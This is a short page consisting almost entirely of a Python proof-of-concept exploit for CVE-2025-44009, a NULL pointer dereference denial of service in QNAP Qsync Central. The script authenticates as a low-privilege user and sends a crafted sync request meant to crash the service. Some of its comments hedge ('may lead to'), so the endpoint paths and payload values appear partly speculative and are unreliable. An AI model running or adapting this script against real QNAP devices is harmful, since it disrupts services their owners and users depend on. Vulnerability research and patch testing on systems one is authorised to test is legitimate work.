CVE-2025-44009 Qsync Central空指针解引用拒绝服务漏洞

# CVE-2025-44009 - Qsync Central NULL Pointer Dereference PoC # This PoC demonstrates triggering a NULL pointer dereference to cause DoS # Note: Requires valid low-privilege user credentials on the target Qsync Central import requests import sys TARGET_URL = "https://target-qnap:8080" # Qsync Central service endpoint USERNAME = "low_priv_user" # Valid low-privilege account PASSWORD = "user_password" # Valid password for the account def trigger_null_deref(): """ Send a crafted request to Qsync Central that triggers NULL pointer dereference. The malformed request causes the server to dereference an uninitialized/NULL pointer, resulting in a service crash (DoS). """ session = requests.Session() # Step 1: Authenticate with valid low-privilege credentials login_url = f"{TARGET_URL}/cgi-bin/qsync/login" login_data = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(login_url, data=login_data, verify=False, timeout=10) print(f"[+] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return # Step 2: Send crafted request to trigger NULL pointer dereference # The vulnerable endpoint fails to validate a critical object pointer # when processing certain parameters, leading to NULL dereference trigger_url = f"{TARGET_URL}/cgi-bin/qsync/sync" # Crafted payload designed to bypass normal validation and trigger # the NULL pointer dereference in the vulnerable code path crafted_payload = { "action": "sync", "path": "", # Empty path may lead to NULL resource handle "resource_id": None, # NULL resource identifier "mode": "invalid" # Invalid mode triggers unhandled code path } headers = { "Content-Type": "application/json", "User-Agent": "QsyncClient/4.x" } try: resp = session.post(trigger_url, json=crafted_payload, headers=headers, verify=False, timeout=10) print(f"[+] Trigger response status: {resp.status_code}") except requests.exceptions.ConnectionError: print("[+] Target service appears to have crashed (DoS successful)") except Exception as e: print(f"[*] Request result: {e}") if __name__ == "__main__": trigger_null_deref()